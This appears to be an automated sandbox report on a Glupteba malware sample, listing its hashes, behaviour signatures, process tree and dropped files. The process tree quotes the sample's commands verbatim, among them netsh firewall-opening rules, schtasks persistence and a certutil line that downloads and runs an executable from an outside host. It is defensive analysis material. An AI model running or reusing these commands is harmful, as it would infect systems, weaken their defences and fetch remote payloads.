Analysis

  • max time kernel
    149s
  • max time network
    141s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240508-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
  • submitted
    23-05-2024 18:56

General

  • Target

    6bf2156d9758b896d7914a7279ef1493_JaffaCakes118.exe

  • Size

    3.9MB

  • MD5

    6bf2156d9758b896d7914a7279ef1493

  • SHA1

    74793ca6a602aae0a81fad7808d63b3d0d5a8070

  • SHA256

    1aa494bed3c60e98e9f25c40e71f4f709c79d46f00f04dfc2ba09d6e465de172

  • SHA512

    3bf97144fb7605682786c01251f29ec0d378e495e65a967179cdfefaa516ce55da0914f515934103779cd9f354454b223bbe48b5243a4fabbb5ff4862c919592

  • SSDEEP

    98304:dmGnePFpOW96HNA0bxKyyfdPfWbTua44/FMyI2S:dmGnePb96tATYbTZ9

Malware Config

Signatures

  • Glupteba

    Glupteba is a modular loader written in Golang with various components.

  • Glupteba payload 19 IoCs
  • Modifies Windows Firewall 2 TTPs 2 IoCs
  • Executes dropped EXE 2 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Manipulates WinMonFS driver. 1 IoCs

    Roottkits write to WinMonFS to hide directories/files from being detected.

  • Modifies boot configuration data using bcdedit 1 IoCs
  • Checks for VirtualBox DLLs, possible anti-VM trick 1 TTPs 1 IoCs

    Certain files are specific to VirtualBox VMs and can be used to detect execution in a VM.

  • Drops file in Windows directory 2 IoCs
  • Program crash 2 IoCs
  • Creates scheduled task(s) 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Modifies data under HKEY_USERS 64 IoCs
  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of WriteProcessMemory 13 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\6bf2156d9758b896d7914a7279ef1493_JaffaCakes118.exe
    "C:\Users\Admin\AppData\Local\Temp\6bf2156d9758b896d7914a7279ef1493_JaffaCakes118.exe"
    1⤵
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    PID:4588
    • C:\Users\Admin\AppData\Local\Temp\6bf2156d9758b896d7914a7279ef1493_JaffaCakes118.exe
      "C:\Users\Admin\AppData\Local\Temp\6bf2156d9758b896d7914a7279ef1493_JaffaCakes118.exe"
      2⤵
      • Adds Run key to start application
      • Checks for VirtualBox DLLs, possible anti-VM trick
      • Drops file in Windows directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:4660
      • C:\Windows\system32\cmd.exe
        C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="CloudNet" dir=in action=allow program="C:\Users\Admin\AppData\Roaming\fe34be23e474\fe34be23e474\fe34be23e474.exe" enable=yes"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:1484
        • C:\Windows\system32\netsh.exe
          netsh advfirewall firewall add rule name="CloudNet" dir=in action=allow program="C:\Users\Admin\AppData\Roaming\fe34be23e474\fe34be23e474\fe34be23e474.exe" enable=yes
          4⤵
          • Modifies Windows Firewall
          PID:2708
      • C:\Windows\system32\cmd.exe
        C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2844
        • C:\Windows\system32\netsh.exe
          netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
          4⤵
          • Modifies Windows Firewall
          PID:4448
      • C:\Windows\rss\csrss.exe
        C:\Windows\rss\csrss.exe ""
        3⤵
        • Executes dropped EXE
        • Manipulates WinMonFS driver.
        • Modifies data under HKEY_USERS
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:4688
        • C:\Windows\SYSTEM32\schtasks.exe
          schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
          4⤵
          • Creates scheduled task(s)
          PID:456
        • C:\Windows\SYSTEM32\schtasks.exe
          schtasks /CREATE /SC ONLOGON /RL HIGHEST /RU SYSTEM /TR "cmd.exe /C certutil.exe -urlcache -split -f https://hotbooks.tech/app/app.exe C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe && C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe /31340" /TN ScheduledUpdate /F
          4⤵
          • Creates scheduled task(s)
          PID:4992
        • C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe
          "C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"
          4⤵
          • Executes dropped EXE
          PID:2100
        • C:\Windows\system32\bcdedit.exe
          C:\Windows\Sysnative\bcdedit.exe /v
          4⤵
          • Modifies boot configuration data using bcdedit
          PID:728
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -u -p 4660 -s 736
        3⤵
        • Program crash
        PID:3300
    • C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 4588 -s 636
      2⤵
      • Program crash
      PID:4848
  • C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -pss -s 444 -p 4588 -ip 4588
    1⤵
      PID:2244
    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --field-trial-handle=4068,i,1809100026287847100,9768898026582633513,262144 --variations-seed-version --mojo-platform-channel-handle=4056 /prefetch:8
      1⤵
        PID:784
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 448 -p 4660 -ip 4660
        1⤵
          PID:3944

        Network

        MITRE ATT&CK Enterprise v15

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        • C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe

          Filesize

          1.7MB

          MD5

          13aaafe14eb60d6a718230e82c671d57

          SHA1

          e039dd924d12f264521b8e689426fb7ca95a0a7b

          SHA256

          f44a7deb678ae7bbaaadf88e4c620d7cdf7e6831a1656c456545b1c06feb4ef3

          SHA512

          ade02218c0fd1ef9290c3113cf993dd89e87d4fb66fa1b34afdc73c84876123cd742d2a36d8daa95e2a573d2aa7e880f3c8ba0c5c91916ed15e7c4f6ff847de3

        • C:\Windows\rss\csrss.exe

          Filesize

          3.9MB

          MD5

          6bf2156d9758b896d7914a7279ef1493

          SHA1

          74793ca6a602aae0a81fad7808d63b3d0d5a8070

          SHA256

          1aa494bed3c60e98e9f25c40e71f4f709c79d46f00f04dfc2ba09d6e465de172

          SHA512

          3bf97144fb7605682786c01251f29ec0d378e495e65a967179cdfefaa516ce55da0914f515934103779cd9f354454b223bbe48b5243a4fabbb5ff4862c919592

        • memory/4588-5-0x0000000000400000-0x00000000031A2000-memory.dmp

          Filesize

          45.6MB

        • memory/4588-6-0x0000000003920000-0x0000000004016000-memory.dmp

          Filesize

          7.0MB

        • memory/4588-7-0x0000000000400000-0x0000000000B10000-memory.dmp

          Filesize

          7.1MB

        • memory/4588-1-0x0000000003560000-0x0000000003911000-memory.dmp

          Filesize

          3.7MB

        • memory/4588-3-0x0000000000400000-0x0000000000B10000-memory.dmp

          Filesize

          7.1MB

        • memory/4588-2-0x0000000003920000-0x0000000004016000-memory.dmp

          Filesize

          7.0MB

        • memory/4660-8-0x0000000000400000-0x00000000031A2000-memory.dmp

          Filesize

          45.6MB

        • memory/4660-9-0x0000000000400000-0x00000000031A2000-memory.dmp

          Filesize

          45.6MB

        • memory/4660-15-0x0000000000400000-0x00000000031A2000-memory.dmp

          Filesize

          45.6MB

        • memory/4688-22-0x0000000000400000-0x00000000031A2000-memory.dmp

          Filesize

          45.6MB

        • memory/4688-20-0x0000000000400000-0x00000000031A2000-memory.dmp

          Filesize

          45.6MB

        • memory/4688-19-0x0000000000400000-0x00000000031A2000-memory.dmp

          Filesize

          45.6MB

        • memory/4688-23-0x0000000000400000-0x00000000031A2000-memory.dmp

          Filesize

          45.6MB

        • memory/4688-24-0x0000000000400000-0x00000000031A2000-memory.dmp

          Filesize

          45.6MB

        • memory/4688-26-0x0000000000400000-0x00000000031A2000-memory.dmp

          Filesize

          45.6MB

        • memory/4688-27-0x0000000000400000-0x00000000031A2000-memory.dmp

          Filesize

          45.6MB

        • memory/4688-28-0x0000000000400000-0x00000000031A2000-memory.dmp

          Filesize

          45.6MB

        • memory/4688-29-0x0000000000400000-0x00000000031A2000-memory.dmp

          Filesize

          45.6MB

        • memory/4688-30-0x0000000000400000-0x00000000031A2000-memory.dmp

          Filesize

          45.6MB

        • memory/4688-31-0x0000000000400000-0x00000000031A2000-memory.dmp

          Filesize

          45.6MB

        • memory/4688-32-0x0000000000400000-0x00000000031A2000-memory.dmp

          Filesize

          45.6MB